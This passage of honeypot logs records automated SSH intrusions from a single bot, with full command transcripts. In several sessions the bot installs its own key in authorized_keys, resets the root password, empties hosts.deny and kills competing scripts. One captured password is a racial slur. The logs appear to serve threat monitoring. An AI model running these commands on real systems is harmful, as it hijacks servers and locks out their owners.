NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:25:44.733204+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:25:45.040288+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:25:45.351114+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:25:46.074146+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:25:46.383678+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:25:46.904398+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":29,"at":"2026-08-27T05:25:47.217533+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:25:48.208186+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:25:48.521457+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:25:50.544948+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"niggers","method":"password","accepted":true,"tier":"other"}]} {"id":"cd142c98-1ff3-4b01-bf57-3fc0acf77da6","name":"graceful-sooty-cardinal","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":53674,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:25:33.917097+00:00","ended_at":"2026-08-27T05:25:35.200009+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ab460ad9-731f-4600-832b-16c2be840ed7","name":"ivory-solemn-penguin","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":53664,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:25:31.965907+00:00","ended_at":"2026-08-27T05:25:33.302022+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"61a90769-d1d3-49b9-b13a-2b1f593dfb1a","name":"cosmic-tidal-kea","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":51752,"username":"sanjay","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":309,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:23:37.119701+00:00","ended_at":"2026-08-27T05:23:38.045053+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2257,"events":[{"seq":1,"at":"2026-08-27T05:23:18.550174+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:23:18.865866+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:23:23.725697+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:23:24.228488+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:23:24.537687+00:00","kind":"input","latency_ms":null,"data":"echo -e \"sanjay123\\nJG8zk2iZZLE4\\nJG8zk2iZZLE4\"|passwd|bash"},{"seq":6,"at":"2026-08-27T05:23:24.847496+00:00","kind":"input","latency_ms":null,"data":"echo \"sanjay123\\nJG8zk2iZZLE4\\nJG8zk2iZZLE4\\n\"|passwd"},{"seq":7,"at":"2026-08-27T05:23:25.154458+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:23:25.495884+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T05:23:25.803675+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T05:23:27.101406+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T05:23:27.412136+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T05:23:28.554607+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T05:23:28.862183+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T05:23:29.544527+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T05:23:29.851152+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T05:23:30.573946+00:00","kind":"output","latency_ms":null,"data":" 05:23:30 up 7 days, 2:13, 0 user, load average: 0.29, 0.3, 0.18\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T05:23:30.886300+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T05:23:31.435666+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T05:23:31.744256+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T05:23:32.096414+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T05:23:32.406566+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T05:23:32.806201+00:00","kind":"output","latency_ms":null,"data":"top - 05:23:32 up 7 days, 2:13, 0 user, load average: 0.29, 0.3, 0.18\nTasks: 117 total, 1 running, 116 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 8102 free, 7785 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T05:23:33.115965+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T05:23:33.480586+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T05:23:33.790466+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T05:23:34.617197+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T05:23:34.925993+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T05:23:35.288004+00:00","kind":"output","latency_ms":null,"data":"sanjay"},{"seq":29,"at":"2026-08-27T05:23:35.597714+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T05:23:36.811854+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T05:23:37.120155+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T05:23:37.950253+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"sanjay","password":"sanjay123","method":"password","accepted":true,"tier":"other"}]} {"id":"685b47ea-1f1c-4c8f-9f7c-1663bf29049a","name":"quartz-balmy-oryx","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":51780,"username":"sanjay","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:23:21.809709+00:00","ended_at":"2026-08-27T05:23:23.638042+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"sanjay","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"ee661b86-6b0f-4fc9-95ad-857c0f66d7f5","name":"marbled-valiant-gecko","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":51764,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:23:19.608792+00:00","ended_at":"2026-08-27T05:23:21.192851+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e5574279-3724-4e92-ba39-eab1e8dc9035","name":"valiant-tawny-tinamou","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":48054,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":322,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:21:36.906836+00:00","ended_at":"2026-08-27T05:21:38.907844+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:21:11.176184+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:21:11.496224+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:21:15.144157+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:21:17.073619+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:21:17.397006+00:00","kind":"input","latency_ms":null,"data":"echo \"root:xzixDsyDnzQv\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:21:17.722471+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:21:18.073652+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:21:18.824425+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:21:18.972231+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:21:19.304473+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:21:20.498523+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:21:20.825892+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:21:21.706823+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:21:22.027189+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:21:23.225703+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:21:23.545209+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:21:24.660282+00:00","kind":"output","latency_ms":null,"data":" 05:21:24 up 7 days, 2:11, 0 user, load average: 0.29, 0.33, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:21:24.979796+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:21:26.642200+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:21:26.963172+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:21:29.002409+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:21:29.324549+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:21:31.177698+00:00","kind":"output","latency_ms":null,"data":"top - 05:21:31 up 7 days, 2:11, 0 user, load average: 0.29, 0.33, 0.22\nTasks: 129 total, 1 running, 128 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 9056 free, 6831 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:21:31.499703+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:21:31.852743+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:21:32.173824+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:21:32.539312+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:21:32.864310+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:21:33.418524+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:21:33.741442+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:21:36.585197+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:21:36.907689+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:21:38.810791+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"qwer12345","method":"password","accepted":true,"tier":"other"}]} {"id":"7659422e-f6f9-456a-919a-7ba1c22760ec","name":"shifting-cobalt-reindeer","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":48064,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:21:14.341900+00:00","ended_at":"2026-08-27T05:21:15.048277+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b8e34c9f-27a0-4075-9bbd-4aad3d00bcc8","name":"amber-thawing-harrier","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":48060,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:21:12.200604+00:00","ended_at":"2026-08-27T05:21:13.729666+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"f157b3ed-5a6b-47d8-a155-d1f9a5950881","name":"knotted-umber-shelduck","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":51482,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":323,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:19:33.158493+00:00","ended_at":"2026-08-27T05:19:34.654119+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:19:03.528938+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:19:03.850954+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:19:08.114628+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:19:09.364607+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:19:09.688946+00:00","kind":"input","latency_ms":null,"data":"echo \"root:QxRSll0FjFI9\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:19:10.010490+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:19:10.338102+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T05:19:11.384939+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T05:19:11.633325+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T05:19:11.958167+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T05:19:13.025265+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T05:19:13.352936+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T05:19:14.239706+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T05:19:14.565623+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T05:19:16.628825+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T05:19:16.952370+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T05:19:18.893915+00:00","kind":"output","latency_ms":null,"data":" 05:19:18 up 7 days, 2:09, 0 user, load average: 0.24, 0.22, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T05:19:19.217471+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T05:19:21.393252+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T05:19:21.715696+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T05:19:23.049467+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T05:19:23.375182+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T05:19:24.770412+00:00","kind":"output","latency_ms":null,"data":"top - 05:19:24 up 7 days, 2:09, 0 user, load average: 0.24, 0.22, 0.22\nTasks: 120 total, 1 running, 119 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6990 free, 8897 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T05:19:25.093493+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T05:19:26.882796+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T05:19:27.203449+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T05:19:29.298333+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T05:19:29.622450+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T05:19:31.530376+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T05:19:31.851320+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T05:19:32.836496+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T05:19:33.159152+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T05:19:34.551507+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"!QW@1qw2","method":"password","accepted":true,"tier":"other"}]} {"id":"4e98db0b-4f56-4f24-986d-29ed17b89215","name":"solemn-austere-gerbil","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":45748,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:19:06.585146+00:00","ended_at":"2026-08-27T05:19:08.014588+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"7668aa4d-c722-480b-bc6e-5fb8576abb3b","name":"verdant-supple-cassowary","protocol":"ssh","channel_kind":null,"src_ip":"2.26.86.177","src_port":51488,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T05:19:04.586005+00:00","ended_at":"2026-08-27T05:19:05.939152+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"c1b85829-221e-438c-b29b-5130ef5bb391","name":"brave-fabled-gull","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.86.177","src_port":37004,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":307,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T05:17:34.629781+00:00","ended_at":"2026-08-27T05:17:36.277194+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2304,"events":[{"seq":1,"at":"2026-08-27T05:17:04.866117+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T05:17:05.172605+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T05:17:09.305186+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T05:17:10.119960+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T05:17:10.427807+00:00","kind":"input","latency_ms":null,"data":"echo \"root:stphRBTtOP9h\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T05:17:10.734084+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T05:17:11.040677+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk 